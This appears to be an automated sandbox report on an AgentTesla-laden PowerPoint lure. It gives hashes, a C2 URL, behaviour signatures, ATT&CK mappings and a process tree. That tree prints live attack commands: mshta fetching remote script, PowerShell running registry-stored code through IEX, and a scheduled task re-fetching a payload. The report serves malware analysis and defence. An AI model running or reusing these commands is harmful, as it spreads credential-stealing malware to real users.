Resubmissions

14-01-2021 12:20

210114-7wp4gqtpna 10

13-01-2021 12:36

210113-496ajyzr72 8

Analysis

  • max time kernel
    126s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    14-01-2021 12:20

General

  • Target

    BankSwiftCopyUSD95000.ppt

  • Size

    99KB

  • MD5

    7f0b415d0b7a76530b2f510a910811e5

  • SHA1

    480594ad26c91dd9d719c80334285375540dc83e

  • SHA256

    8d3e1d1a1775191a33980069f500e37f22bdcd0a1ad3544ab4a9d0a651fbd019

  • SHA512

    d9b3320b51f390a6f75e7e3102044557e6476103c94ec4451819b78b4503f8018fee7ce8f70657473b310b14b752935fac2b7e5caaeb318e09a9af317701d8f4

Malware Config

Extracted

Family

agenttesla

C2

http://64.188.18.218/webpanel-st/inc/6295ae82aa2db6.php

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 4 IoCs
  • Blocklisted process makes network request 12 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\BankSwiftCopyUSD95000.ppt"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1736
      • C:\Windows\SysWOW64\ping.exe
        ping.exe
        2⤵
        • Process spawned unexpected child process
        • Runs ping.exe
        PID:580
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://1230948%1230948%1230948%1230948@j.mp/dbgghasdnasdjasgdakgsdhv
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:920
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).meather)|IEX
          3⤵
          • Blocklisted process makes network request
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2000
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
            • Drops file in Drivers directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:488
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""lunkicharkhi"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta https://randikhanaekminar.blogspot.com/p/st2.html""\"", 0 : window.close"\")
          3⤵
          • Creates scheduled task(s)
          PID:1760
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & taskkill /f /im EXCEL.exe
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1188
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /f /im winword.exe
            4⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1732
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /f /im EXCEL.exe
            4⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1760
      • C:\Windows\SysWOW64\ping.exe
        ping.exe
        2⤵
        • Process spawned unexpected child process
        • Runs ping.exe
        PID:1944

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Remote System Discovery

    1
    T1018

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/488-39-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/488-41-0x0000000072C50000-0x000000007333E000-memory.dmp
      Filesize

      6.9MB

    • memory/488-37-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/488-38-0x00000000004376FE-mapping.dmp
    • memory/488-40-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/580-4-0x0000000000000000-mapping.dmp
    • memory/628-6-0x000007FEF6510000-0x000007FEF678A000-memory.dmp
      Filesize

      2.5MB

    • memory/920-5-0x0000000000000000-mapping.dmp
    • memory/1188-11-0x0000000000000000-mapping.dmp
    • memory/1732-12-0x0000000000000000-mapping.dmp
    • memory/1736-2-0x0000000000000000-mapping.dmp
    • memory/1760-13-0x0000000000000000-mapping.dmp
    • memory/1760-9-0x0000000000000000-mapping.dmp
    • memory/1944-7-0x0000000000000000-mapping.dmp
    • memory/2000-16-0x0000000002590000-0x0000000002591000-memory.dmp
      Filesize

      4KB

    • memory/2000-17-0x0000000005290000-0x0000000005291000-memory.dmp
      Filesize

      4KB

    • memory/2000-20-0x0000000005760000-0x0000000005761000-memory.dmp
      Filesize

      4KB

    • memory/2000-25-0x00000000057A0000-0x00000000057A1000-memory.dmp
      Filesize

      4KB

    • memory/2000-26-0x0000000006280000-0x0000000006281000-memory.dmp
      Filesize

      4KB

    • memory/2000-33-0x0000000006340000-0x0000000006341000-memory.dmp
      Filesize

      4KB

    • memory/2000-34-0x0000000006610000-0x0000000006611000-memory.dmp
      Filesize

      4KB

    • memory/2000-35-0x00000000063C0000-0x00000000063D0000-memory.dmp
      Filesize

      64KB

    • memory/2000-36-0x00000000020A0000-0x00000000020A8000-memory.dmp
      Filesize

      32KB

    • memory/2000-15-0x0000000004670000-0x0000000004671000-memory.dmp
      Filesize

      4KB

    • memory/2000-14-0x0000000002350000-0x0000000002351000-memory.dmp
      Filesize

      4KB

    • memory/2000-10-0x0000000072C50000-0x000000007333E000-memory.dmp
      Filesize

      6.9MB

    • memory/2000-8-0x0000000000000000-mapping.dmp
    • memory/2024-3-0x0000000000480000-0x0000000000481000-memory.dmp
      Filesize

      4KB